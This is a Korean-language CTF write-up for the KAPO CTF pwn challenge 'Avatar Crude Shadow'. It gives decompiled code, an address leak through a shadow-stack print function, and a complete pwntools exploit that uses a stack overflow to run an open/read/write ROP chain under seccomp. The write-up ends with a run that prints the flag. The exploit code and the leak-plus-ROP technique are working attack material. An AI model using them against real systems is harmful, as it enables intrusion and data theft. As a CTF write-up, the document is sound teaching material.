해당 문제는 KAPO CTF 에 출제된 문제입니다.
Description
Solved by two people together, but one monitor, one keyboard, each.
Might be better if done alone!
FYI
- flag length = 33
- timeout = 20s
checksec
seo@seo-virtual-machine:~/Desktop/Avatar_Crude_Shadow$ checksec ./avatar [*] '/home/seo/Desktop/Avatar_Crude_Shadow/avatar' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
SSP 보호기법이 적용되어있지 않다.
Decompiled-src
main
int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [rsp+2Ch] [rbp-B4h] BYREF char v5[80]; // [rsp+30h] [rbp-B0h] BYREF char buf[88]; // [rsp+80h] [rbp-60h] BYREF unsigned int v7; // [rsp+D8h] [rbp-8h] BYREF int v8; // [rsp+DCh] [rbp-4h] v7 = 0; push_shadow(&v7, v5); setup(); init_seccomp(); puts("shadow test"); v8 = 0; do { menu(); __isoc99_scanf("%d", &v4); switch ( v4 ) { case 1: print_shadow(v7, v5); break; case 2: puts("string input:"); read(0, buf, 0x400uLL); break; case 3: nested_func(&v7, v5); break; case 4: puts("lol you can't"); break; case 5: v8 = 1; break; default: puts("nono"); break; } } while ( !v8 ); print_shadow(v7, v5); pop_shadow(&v7, v5); return 0; }
init_seccomp
다음 시스템 콜만 허용하고 있다.
- sys_rt_sigreturn
- sys_exit
- sys_exit_group
- sys_read
- sys_write
- sys_open
- sys_openat
print_shadow
int __fastcall print_shadow(unsigned int a1, __int64 a2) { int i; // [rsp+1Ch] [rbp-4h] puts("current shadow:"); for ( i = 0; i < (int)a1; ++i ) printf("%p\n", *(const void **)(8LL * i + a2)); return printf("Total of %d\n", a1); }
nested_func
__int64 __fastcall nested_func(unsigned int *a1, __int64 a2) { int v3; // [rsp+18h] [rbp-8h] BYREF int v4; // [rsp+1Ch] [rbp-4h] push_shadow(a1, a2); v4 = 0; puts("nested function"); do { nested_menu(); __isoc99_scanf("%d", &v3); if ( v3 == 1 ) { print_shadow(*a1, a2); } else if ( v3 == 2 ) { v4 = 1; } else { puts("nono"); } } while ( !v4 ); return pop_shadow(a1, a2); } int nested_menu() { puts("1. print shadows"); return puts("2. exit"); } __int64 __fastcall push_shadow(_DWORD *a1, __int64 a2) { int v2; // eax __int64 v3; // rdx __int64 result; // rax __int64 vars0; // [rsp+10h] [rbp+0h] v2 = (*a1)++; v3 = 8LL * v2; result = *(_QWORD *)(vars0 + 8); *(_QWORD *)(a2 + v3) = result; return result; } __int64 __fastcall pop_shadow(int *a1, __int64 a2) { __int64 result; // rax __int64 vars0; // [rsp+10h] [rbp+0h] --*a1; result = *(_QWORD *)(vars0 + 8); if ( *(_QWORD *)(8LL * *a1 + a2) != result ) { puts("wrong shadow, abort"); exit(-1); } return result; }
print_shadow
int __fastcall print_shadow(unsigned int a1, __int64 a2) { int i; // [rsp+1Ch] [rbp-4h] puts("current shadow:"); for ( i = 0; i < (int)a1; ++i ) printf("%p\n", *(const void **)(8LL * i + a2)); return printf("Total of %d\n", a1); }
Solution
초기에 “3 .enter nested func” -> “1. print shadows”로 진입하면, 두 메모리 주소가 노출되는 것을 확인할 수 있다.
노출된 1번째 주소는 0x7ffff7c29d90으로, libc.so.6 범위에 속해있다.
노출된 2번째 주소는 0x555555555782로, avatar 바이너리 주소 범위에 속한다.
from pwn import * #context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') p = process("./avatar", env={'LD_PRELOAD':'./libc.so.6'}) e = ELF('./avatar', checksec=False) libc = ELF('./libc.so.6', checksec=False) p.sendlineafter("5. exit\n", b"3") p.sendlineafter("2. exit\n", b"1") p.recvuntil("current shadow:\n") current_shadow_1 = p.recvline().replace(b"\n", b"") current_shadow_1 = int(current_shadow_1.decode('utf-8'), 16) current_shadow_2 = p.recvline().replace(b"\n", b"") current_shadow_2 = int(current_shadow_2.decode('utf-8'), 16) print(f"current_shadow_1: {hex(current_shadow_1)}") print(f"current_shadow_2: {hex(current_shadow_2)}") libc_base = current_shadow_1 - 0x29d90 print(f"libc_base: {hex(libc_base)}") bin_base = current_shadow_2 - 0x1782 print(f"bin_base: {hex(bin_base)}") p.sendlineafter("2. exit\n", b"2") pause()
이렇게 노출된 주소를 통해 각각의 base 주소를 구할 수 있다.
solve.py
스택 간의 거리와 값 잘 계산해서 pop_shadow에서 종료되지 않게끔 만들어야 하며,
bof를 통해 rop문으로 open, read, write 함수만으로 flag를 읽히게 만들면 된다.
from pwn import * #context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') p = process("./avatar", env={'LD_PRELOAD':'./libc.so.6'}) #p = remote("host3.dreamhack.games", 21158) e = ELF('./avatar', checksec=False) libc = ELF('./libc.so.6', checksec=False) #server p.sendlineafter("5. exit\n", b"3") p.sendlineafter("2. exit\n", b"1") p.recvuntil("current shadow:\n") current_shadow_1 = p.recvline().replace(b"\n", b"") current_shadow_1 = int(current_shadow_1.decode('utf-8'), 16) current_shadow_2 = p.recvline().replace(b"\n", b"") current_shadow_2 = int(current_shadow_2.decode('utf-8'), 16) print(f"current_shadow_1: {hex(current_shadow_1)}") print(f"current_shadow_2: {hex(current_shadow_2)}") libc_base = current_shadow_1 - 0x29d90 print(f"libc_base: {hex(libc_base)}") bin_base = current_shadow_2 - 0x1782 print(f"bin_base: {hex(bin_base)}") p.sendlineafter("2. exit\n", b"2") p.sendlineafter("5. exit\n", b"2") pop_rdi_ret = libc_base + 0x2a3e5 pop_rsi_ret = libc_base + 0x2be51 pop_rdx_pop_r12_ret = libc_base + 0x11F497 payload = p64(pop_rdi_ret) payload += b"A"*0x50 payload += p32(11) payload += b"C"*0x4 payload += b"D"*0x8 #read(0, e.bss() + bin_base + 0x300, 200) payload += p64(pop_rdi_ret) payload += p64(0) payload += p64(pop_rsi_ret) payload += p64(e.bss() + bin_base + 0x300) payload += p64(pop_rdx_pop_r12_ret) payload += p64(200) payload += p64(0) payload += p64(libc_base + libc.symbols['read']) #open(e.bss() + bin_base + 0x300, O_RDONLY, 0) payload += p64(pop_rdi_ret) payload += p64(e.bss() + bin_base + 0x300) payload += p64(pop_rsi_ret) payload += p64(0) payload += p64(pop_rdx_pop_r12_ret) payload += p64(0) payload += p64(0) payload += p64(libc_base + libc.symbols['open']) #read(0, e.bss() + bin_base + 0x300, 200) payload += p64(pop_rdi_ret) payload += p64(3) payload += p64(pop_rsi_ret) payload += p64(e.bss() + bin_base + 0x300) payload += p64(pop_rdx_pop_r12_ret) payload += p64(200) payload += p64(0) payload += p64(libc_base + libc.symbols['read']) #write(stdout, e.bss() + bin_base + 0x1000, 33) payload += p64(pop_rdi_ret) payload += p64(1) payload += p64(pop_rsi_ret) payload += p64(e.bss() + bin_base + 0x300) payload += p64(pop_rdx_pop_r12_ret) payload += p64(33) payload += p64(0) payload += p64(libc_base + libc.symbols['write']) p.sendlineafter("string input:", payload) p.sendline(b'./flag\x00') p.interactive()
Result
seo@seo-virtual-machine:~/Desktop/Avatar_Crude_Shadow$ python3 solve.py [+] Opening connection to host3.dreamhack.games on port 9618: Done current_shadow_1: 0x7f8aa317cd90 current_shadow_2: 0x55f8c0886782 libc_base: 0x7f8aa3153000 bin_base: 0x55f8c0885000 [*] Switching to interactive mode current shadow: 0x7f8aa317cd90 0x55f8c0886782 (nil) (nil) (nil) 0x7f8aa33c0900 0xd 0x1 0x1 0x1 0x7f8aa317d3e5 Total of 11 POKA{150_PLUS_ISO_T0T4L_300_HE4D}[*] Got EOF while reading in interactive $ [*] Interrupted [*] Closed connection to host3.dreamhack.games port 9618